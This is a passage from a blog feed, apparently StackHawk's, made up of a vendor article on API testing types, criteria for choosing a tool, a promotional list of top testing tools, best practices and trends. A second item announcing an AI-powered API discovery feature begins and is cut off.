associated with different API methods. Together, these endpoints and methods define the API&amp;#39;s capabilities and the value it provides users. Effective functional testing ensures that each endpoint functions as intended.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Load and Performance Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Load and performance testing assess the API&amp;#39;s ability to handle high traffic or stress. By simulating realistic user loads, developers gain insight into how the API performs under expected and unexpected traffic conditions. This type of testing also helps identify potential points of failure, allowing for proactive measures to prevent downtime.&lt;/p&gt;&lt;p&gt;In summary, performance and load testing help you verify:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The API&amp;#39;s speed and responsiveness over time.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The API&amp;#39;s stability over time.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The API&amp;#39;s scalability over time.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;&lt;u&gt;Security testing&lt;/u&gt;&lt;/a&gt; focuses on identifying and mitigating vulnerabilities that could be exploited by malicious actors. These vulnerabilities might lead to unauthorized access, data manipulation, or disruption of normal API operations.&lt;/p&gt;&lt;p&gt;Ensuring&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt;&lt;u&gt; API security&lt;/u&gt;&lt;/a&gt; reduces the risk of cyberattacks and system downtime, improving system integrity and availability. Investing in robust security testing demonstrates a commitment to protecting user privacy, building trust with users and partners, and fostering long-term growth and sustainability.&lt;/p&gt;&lt;p&gt;Although other types of testing do exist, these cover the main types of testing that developers, DevOps, and AppSec teams will perform. Much of the time, teams will use API testing tools to perform these various functions. Next, let&amp;#39;s look at some key features to look for in tools you might adopt for API testing.&lt;/p&gt;&lt;p&gt;Selecting an API testing tool that closely aligns with your specific use case is essential. While individual scenarios vary, a&lt;a href=&quot;https://www.stackhawk.com/blog/top-10-api-tools-for-testing-in-2024/#security-testing&quot;&gt; &lt;u&gt;good API testing tool&lt;/u&gt;&lt;/a&gt; should empower you to create, execute, and manage comprehensive tests efficiently. Equally important is the tool&amp;#39;s ability to integrate smoothly into your development workflow. Below are a few key considerations to look at when choosing an API testing tool:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Ease of Use&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The tool should be intuitive and easy to use, with a minimal learning curve to facilitate adoption. Support for both technical and non-technical users ensures that everyone on your team can quickly adapt and contribute effectively.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Wide Protocol Support&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The API testing tool should support a variety of API types, including REST, SOAP, and GraphQL, as well as common data formats like JSON and XML. This ensures compatibility with different API architectures and data structures.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Robust Test Features&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test Creation Flexibility:&lt;/b&gt; The tool should offer multiple options for creating tests, such as visual editors and scripting languages. Reusable test components can also enhance productivity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data-Driven Testing:&lt;/b&gt; As APIs often power data-driven applications, the tool should support data-driven tests to increase test coverage and confidence in the API&amp;#39;s behavior.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Testing:&lt;/b&gt; The ability to automate test execution, create complex test scenarios, and schedule tests for CI/CD pipelines is crucial for streamlining development workflows and ensuring continuous testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test Data Management:&lt;/b&gt; The tool should facilitate the generation, import, and management of test data, including mock resources. This is essential for data-driven testing and simulating various scenarios.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration Capabilities:&lt;/b&gt; Seamless integration with CI/CD pipelines, version control systems, and other development tools is vital. Without this integration, features like test creation, automation, and data management lose their effectiveness.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Test Support:&lt;/b&gt; The tool should support all types of API tests discussed earlier. This includes unit tests and test suites for functional testing, security tests (authentication, input validation, vulnerability scanning), and load/stress tests to assess performance and scalability.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Assertions and Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The tool should provide robust mechanisms for validating API responses. This includes checking status codes, data types, and expected behavior to ensure the API functions correctly.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Reporting and Analysis&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Comprehensive testing generates a wealth of data. The tool should transform this data into valuable insights through detailed test reports, logs, and visualizations that aid analysis and troubleshooting.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Collaboration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The tool should enable the sharing of tests, results, and test environments among team members to facilitate efficient teamwork.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Monitoring and Alerting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Continuous&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-vs-api-security-monitoring/&quot;&gt;&lt;u&gt; API monitoring&lt;/u&gt;&lt;/a&gt; with real-time alerts for issues and anomalies is crucial for maintaining API reliability and performance in production environments.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Customizability and Extensibility&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The API testing tool should offer customization options as your product and requirements evolve. This can be achieved through plugins, scripts, or custom code, allowing you to adapt the tool to your changing needs.&lt;/p&gt;&lt;p&gt;Knowing the factors to look for in an API testing tool, it&amp;#39;s time to move into the list of tools that encapsulate many of these critical points. Next, let&amp;#39;s tackle the top 10 API testing tools available in 2024.&lt;/p&gt;&lt;p&gt;You have a plethora of powerful API testing tools available to choose from. Each offers unique features and capabilities to meet diverse testing requirements. These are the top 10 API testing tools that stand out for their reliability and efficiency:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Postman&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;SoapUI&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;JMeter&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;REST Assured&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Katalon Studio&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Newman&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Apache JMeter&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Karate DSL&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Apigee&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Swagger&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Selecting a suitable API testing tool depends on the specific requirements of your project, the expertise of your team, and your testing needs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; provides comprehensive&lt;a href=&quot;https://www.stackhawk.com/solutions/api-security-testing/&quot;&gt; &lt;u&gt;security testing for your APIs&lt;/u&gt;&lt;/a&gt; with DAST (&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;Dynamic Application Security Testing&lt;/u&gt;&lt;/a&gt;) features. It runs in your CI/CD pipelines and helps you identify vulnerabilities early. Here are some of&lt;a href=&quot;https://www.stackhawk.com/pricing/&quot;&gt; &lt;u&gt;StackHawk&amp;#39;s&lt;/u&gt;&lt;/a&gt; key features:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;StackHawk scans your APIs for common vulnerabilities like&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt; SQL injection&lt;/u&gt;&lt;/a&gt;,&lt;u&gt; &lt;/u&gt;(XSS), and insecure configurations before reaching production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It executes automated security tests in CI/CD so that every code change passes diligent security tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;StackHawk supports a wide range of API types, including REST, SOAP, GraphQL, and gRPC.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;You can customize and extend StackHawk&amp;#39;s features to match your security requirements. It integrates with your existing tools and workflows with minimal effort.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;StackHawk puts developer experience and productivity at the front. It gives you actionable feedback about your API&amp;#39;s security so that you can understand and fix issues as easily and early as possible.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Postman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.postman.com/&quot;&gt;&lt;u&gt;Postman&lt;/u&gt;&lt;/a&gt; is a versatile and user-friendly API testing tool that offers a wide range of features to support the entire API lifecycle. Some of its features include the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Postman&amp;#39;s Collections and Workspaces greatly enhance sharing and collaborative efforts. Collections allow you to organize, reuse, and automate different aspects of your API workflows. Workspaces give you controlled access and environment management as you collaborate with teams, with built-in support for version control.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The ability to quickly create and manage API tests&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;An easy-to-navigate GUI that makes it accessible for both novice and experienced users&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The ability to create mock servers stands out among Postman&amp;#39;s salient features. Mock servers allow developers to simulate APIs before actual development. Developers can create rapid prototypes and test API endpoints as part of functional API testing.&lt;/p&gt;&lt;p&gt;Additionally, Postman supports the core features you expect from a comprehensive tool for API testing:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Running requests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Testing and debugging.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Creating automated tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Monitoring REST APIs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;SoapUI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.soapui.org/&quot;&gt;&lt;u&gt;SoapUI&lt;/u&gt;&lt;/a&gt; is an open-source API testing tool that can efficiently test SOAP, REST, and web services. Its main features include the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A user-friendly graphical interface with drag-and-drop features.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Automated functional, regression, and load tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Assertions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Mocking.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;One of the key strengths of SoapUI is its assertion capabilities. SoapUI leverages Groovy scripting natively for its built-in assertions and custom scripting, allowing users to create highly customized and flexible tests. You can also use assertion libraries like AssertJ for a more bespoke solution. This combination of features makes SoapUI a suitable API testing tool for both simple and complex testing scenarios.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;JMeter&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://jmeter.apache.org/&quot;&gt;&lt;u&gt;Apache JMeter&lt;/u&gt;&lt;/a&gt; is a versatile tool widely used for both functional and performance testing of REST and SOAP APIs. By design, it excels in conducting load testing and performance testing under various conditions. So JMeter can become your ideal solution for your API performance testing needs.&lt;/p&gt;&lt;p&gt;JMeter also allows you to utilize CSV files as a test data source. CSV files are very popular in data exchange and data analysis due to their versatility and simplicity. With JMeter supporting CSV files for tests, you have easier access to data-driven API testing.&lt;/p&gt;&lt;p&gt;JMeter has been around for over two decades with a proven industry track record among developers and testers. If you consider the benefits of free, open source, and cross-platform software, JMeter stands out as one of the best API testing tools.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;REST Assured&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://rest-assured.io/&quot;&gt;&lt;u&gt;REST Assured&lt;/u&gt;&lt;/a&gt; is highly regarded among Java developers for automating&lt;a href=&quot;https://www.stackhawk.com/blog/rest-api-security-best-practices/&quot;&gt;&lt;u&gt; REST API&lt;/u&gt;&lt;/a&gt; testing. Its features include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Expressive syntax that simplifies the creation of API tests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Built-in support for JSON and XML parsing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Mock servers integration.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;REST Assured also offers seamless integration with the Serenity automation framework and Java testing frameworks like JUnit and TestNG. These integrations further enhances Rest Assured with powerful behavior-driven test features and reliable automation for thorough API testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Katalon Studio&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://katalon.com/&quot;&gt;&lt;u&gt;Katalon Studio&lt;/u&gt;&lt;/a&gt; provides end-to-end API testing and builds on top of trust open source solutions like Selenium and Appium. Like Rest Assured, Katalon Studion also supports the Java testing frameworks TestNG and JUnit. This allows developers to test their APIs across different browsers and platforms, including mobile and desktop.&lt;/p&gt;&lt;p&gt;The test recording feature in Katalon Studio allows developers and testers to quickly generate test scripts by capturing interactions with APIs. This not only saves time but allows you to come up with accurate test cases for new product features.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Newman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/postmanlabs/newman&quot;&gt;&lt;u&gt;Newman&lt;/u&gt;&lt;/a&gt; provides a command-line interface that integrates with Postman.This allows you to automate API testing by running Postman collections in a CI/CD environment. It can execute Postman collections, including requests, scripts, and assertions.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re already using Postman as your main API testing tool, then Newman can positively compliment the testing infrastructure you already have.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Karate DSL&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.karatelabs.io/&quot;&gt;&lt;u&gt;Karate DSL&lt;/u&gt;&lt;/a&gt; is a domain-specific language designed for API testing. It allows developers to create tests using BDD (Behavioral Driven Development) syntax. Karate DSL has built-in support for mocking. You can set up mock servers, dynamically generate responses, and use data-driven mocking using CSV files.&lt;/p&gt;&lt;p&gt;If you want the ability to leverage a tool programmatically and freedom of configuration, then Karate DSL fits right in.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Apigee&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://cloud.google.com/apigee&quot;&gt;&lt;u&gt;Apigee&lt;/u&gt;&lt;/a&gt; is an API platform that provides tools for designing, building, testing, and monitoring APIs. While it doesn&amp;#39;t have built-in traffic simulation, it offers tools for creating and managing mock services that can simulate API behavior. You can execute robust performance tests to ensure your API&amp;#39;s performance and reliability.&lt;/p&gt;&lt;p&gt;Apigee particularly suits organizations that require an all-encompassing API platform for comprehensive API testing, management, and monitoring. Its extensive API documentation and monitoring capabilities make it a top choice among developers and testers who need to manage the entire API lifecycle.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Swagger&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://swagger.io/&quot;&gt;&lt;u&gt;Swagger&lt;/u&gt;&lt;/a&gt; offers a toolset designed for API development and documentation. These tools simplify the creation, sharing, and collaboration of detailed REST API documents. By supporting&lt;a href=&quot;https://swagger.io/specification/&quot;&gt;&lt;u&gt; OpenAPI specifications&lt;/u&gt;&lt;/a&gt;, Swagger streamlines both API development and testing processes. Swagger&amp;#39;s tools enable testers, product managers, and developers to effectively collaborate to make sure the APIs remain well-documented and tested.&lt;/p&gt;&lt;p&gt;Swagger UI allows you to generate interactive API documentation from your API&amp;#39;s&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt;&lt;u&gt; OpenAPI Specification&lt;/u&gt;&lt;/a&gt; document, and some third-party tools integrate with Swagger to enable the creation of mock servers and test cases based on this documentation.&lt;/p&gt;&lt;p&gt;Choosing the right API testing tool can ensure the quality and reliability of your APIs. We&amp;#39;ve already discussed the key features to look for in an API testing tool. To make the best choice, consider the following factors: &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Project Requirements:&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Types and Protocols:&lt;/b&gt; Determine the types of APIs you&amp;#39;ll be testing, such as REST, SOAP, and GraphQL, and make sure the tool supports them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test Types:&lt;/b&gt; Identify the specific types of testing you require—for example, functional, load, and security testing. Make sure the tool offers the necessary capabilities for these types.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Complexity and Scale:&lt;/b&gt; Consider the complexity and size of your API project so that the tool can accommodate them adequately.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Team Skills and Resources:&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Technical Expertise:&lt;/b&gt; Evaluate the technical expertise of your team. Some tools require more coding knowledge than others.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Budget:&lt;/b&gt; Consider your budget constraints and choose a tool that balances features and cost-effectiveness.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Tool Features and Capabilities:&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Ease of Use:&lt;/b&gt; Look for a tool with an intuitive interface and a shallow learning curve, especially if your team has varying technical expertise.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test Creation and Automation:&lt;/b&gt; Ensure the tool provides efficient ways to create and automate tests, including support for scripting, data-driven testing, and integration with CI/CD pipelines.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reporting and Analytics:&lt;/b&gt; Choose a tool with robust reporting and analytics features to gain insights into test results and identify bottlenecks or issues.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Collaboration:&lt;/b&gt; If you have a team working on API testing, consider a tool with collaboration features to streamline communication and knowledge sharing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration with Other Tools:&lt;/b&gt; Ensure the tool integrates well with your existing development and testing environment. These include version control systems, issue trackers, and so on.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Community and Support:&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Community Support:&lt;/b&gt; A strong and active community around a tool can provide invaluable resources for getting help, finding solutions, and staying up-to-date with the latest features and best practices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Vendor Support:&lt;/b&gt; If you choose a commercial tool, consider the quality of vendor support available, including documentation, tutorials, and customer support channels.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;When selecting an API testing tool, focus on the components most important to your team, whether you choose a complete no-code solution, an automation framework, or a testing platform for web applications. Sometimes, the integration of multiple testing tools may enhance the overall effectiveness of your API testing process.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Best Practices for Effective API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Following some best practices and simple principles during API testing can ensure robust, reliable, and&lt;a href=&quot;https://www.stackhawk.com/blog/web-api-security-essential-strategies-and-best-practices/&quot;&gt; &lt;u&gt;secure APIs&lt;/u&gt;&lt;/a&gt; for your customers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Start Early and Test Often&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Start testing your APIs as early in the development lifecycle as possible. This approach, known as shift-left testing, helps catch issues early, saving time and resources later. Automate repetitive tests to save time and ensure consistent results.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Prioritize Functional and Performance Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Focus on functional tests to verify that your API works as expected, including input validation, data handling, and error responses. Simulate heavy traffic and measure response times, resource usage, and error rates for performance testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Perform Comprehensive Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Perform comprehensive security testing to identify vulnerabilities that attackers could exploit. Test for common weaknesses like injection attacks, authentication failures, and data exposure.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use Realistic Test Data&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Use realistic test data that accurately reflects real-world scenarios and usage patterns. This helps identify potential issues that might not be apparent with artificial or limited data sets.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Maintain Up-to-Date Documentation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Keep your API documentation clear, accurate, and up-to-date. This will help other developers&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-an-api-a-beginners-guide-to-application-programming-interfaces/&quot;&gt; &lt;u&gt;understand and use your API&lt;/u&gt;&lt;/a&gt; correctly, reducing integration problems and support requests.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Collaborate and Monitor&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Collaborate with your team to define clear test objectives and scenarios, ensuring everyone understands the goals and expected outcomes. Monitor your API in production to detect issues early and address them before they significantly impact users.&lt;/p&gt;&lt;p&gt;Next, we will look at a core API testing best practice not mentioned above: &lt;b&gt;Automate API Testing&lt;/b&gt;. This particular best practice is extremely important and a core feature you should look for in an API testing tool.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Automating API Tests for Enhanced Efficiency&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Consider incorporating automated API tests to boost efficiency in your testing process.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Benefits of Automation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API test automation offers several advantages, including:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Reduced time spent on testing and debugging&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Faster feedback on code changes&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Quick identification and resolution of issues&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Enhanced test coverage across various scenarios&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Thorough validation of APIs&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Integrating with CI/CD Pipelines&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Integrate automated tests into your CI/CD pipelines to validate changes in real-time. Many API testing tools seamlessly integrate with CI/CD, ensuring tests run consistently with every build and deployment. This reduces human error and provides reliable test results. Consider using webhooks to extend your CI/CD capabilities further.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Testing from Within the Code&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Automated testing within the codebase can be more effective at identifying bugs in REST API requests than external testing. Integrate feedback-based fuzz testing into your build system to continuously test for bugs caused by unexpected inputs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Leveraging No-Code/Low-Code Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;No-code or low-code tools simplify project setup and make automation more accessible to teams with varying levels of programming expertise. This democratizes test automation and empowers more team members to contribute.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Challenges in API Testing and How to Overcome Them&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing presents several challenges that require careful consideration and proactive solutions:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Lack of Documentation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Incomplete or missing API documentation can hinder testing efforts. Discuss documentation needs with stakeholders early in the development process to ensure that clear and comprehensive documentation is available.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Exception Handling&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Properly handling exceptions during API testing is crucial. This involves understanding HTTP status codes and implementing universal error-handling mechanisms to address unexpected responses or errors so that tests don&amp;#39;t break the code and stop tests from executing entirely.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Additional Challenges&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Other challenges in API testing include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Understanding API Flows:&lt;/b&gt; Grasping how different endpoints interact and communicate internally is essential for effective testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integration Testing:&lt;/b&gt; Ensuring correct data flow between multiple systems and APIs requires thorough integration testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Frequent Schema Changes:&lt;/b&gt; It is essential to update test cases to reflect frequent changes to API schemas, which often involve schema validation assertions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Test Coverage:&lt;/b&gt; Achieving exhaustive test coverage for APIs can be challenging. Prioritize test cases based on different types of tests and risk assessments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Varying Technical Expertise:&lt;/b&gt; Teams with diverse technical knowledge about APIs can face challenges. Consider hiring knowledgeable testers or providing training to bridge the gap. Choosing a user-friendly API testing tool can also help.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unstable or Underdeveloped APIs:&lt;/b&gt; APIs that are still in development or unstable can behave inconsistently. Setting up mock servers with predetermined responses can help test API interactions with other systems, even when the API is not fully functional.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By adopting proper planning, collaboration, and prioritization strategies, you can overcome these challenges and ensure effective and comprehensive API testing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Future of API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We&amp;#39;re observing emerging trends and technologies that promise to enhance the testing process. No-code development platforms are becoming increasingly popular. These platforms can automate API generation, accelerate time to market, and save time and money. We also see GraphQL becoming popular, offering more control over data fetching compared to REST.&lt;/p&gt;&lt;p&gt;Contract testing have also become increasingly prominent. Since it verifies the interactions between API providers and consumers, it can ensure both parties adhere to a shared agreement. This solves integration issues.&lt;/p&gt;&lt;p&gt;We also see AI-driven testing taking over the market. They offer enhanced error detection, test case generation, and predictive analysis. For example,&lt;a href=&quot;https://www.stackhawk.com/blog/re-defining-api-discovery-how-we-designed-api-discovery-powered-by-hawkai/&quot;&gt;&lt;u&gt;StackHawk&amp;#39;s API Discovery&lt;/u&gt;&lt;/a&gt; feature uses artificial intelligence to discover and assess APIs within code repositories like GitHub.&lt;/p&gt;&lt;p&gt;These advancements in API testing tools and methodologies have the potential to revolutionize the field. Developers and testers now have more powerful tools and systems for ensuring the reliability and performance of their APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In summary, API testing constitutes an essential aspect of software development that ensures the functionality, security, and performance of applications. By understanding the key features to look for in an API testing tool and carefully considering your requirements, you can pick a tool that&amp;#39;s perfect for you.&lt;/p&gt;&lt;p&gt;Choosing from the top API testing tools can only get you so far. The challenges, innovations, and solutions in this space evolve fast. Therefore, it&amp;#39;s important to follow the best practices in your testing process and stay abreast of the latest trends. This way, you can truly benefit from modern API testing and solidify your product&amp;#39;s sustainable growth.&lt;/p&gt;&lt;p&gt;As a top API testing tool, StackHawk offers a modern DAST platform built for developers and AppSec teams from the ground up.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up today&lt;/u&gt;&lt;/a&gt; to test your APIs for the most pressing vulnerabilities, including those in the&lt;a href=&quot;https://www.stackhawk.com/blog/owasp-api-top-10-2023-a-comprehensive-guide/&quot;&gt; &lt;u&gt;OWASP API Top 10&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing API Discovery Powered by HawkAI]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/announcing-api-discovery-powered-by-hawkai</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Today, we&amp;#39;re thrilled to introduce API Discovery Powered by HawkAI, a new AI-driven feature in the StackHawk platform, providing a level of visibility over your API landscape previously unavailable to AppSec 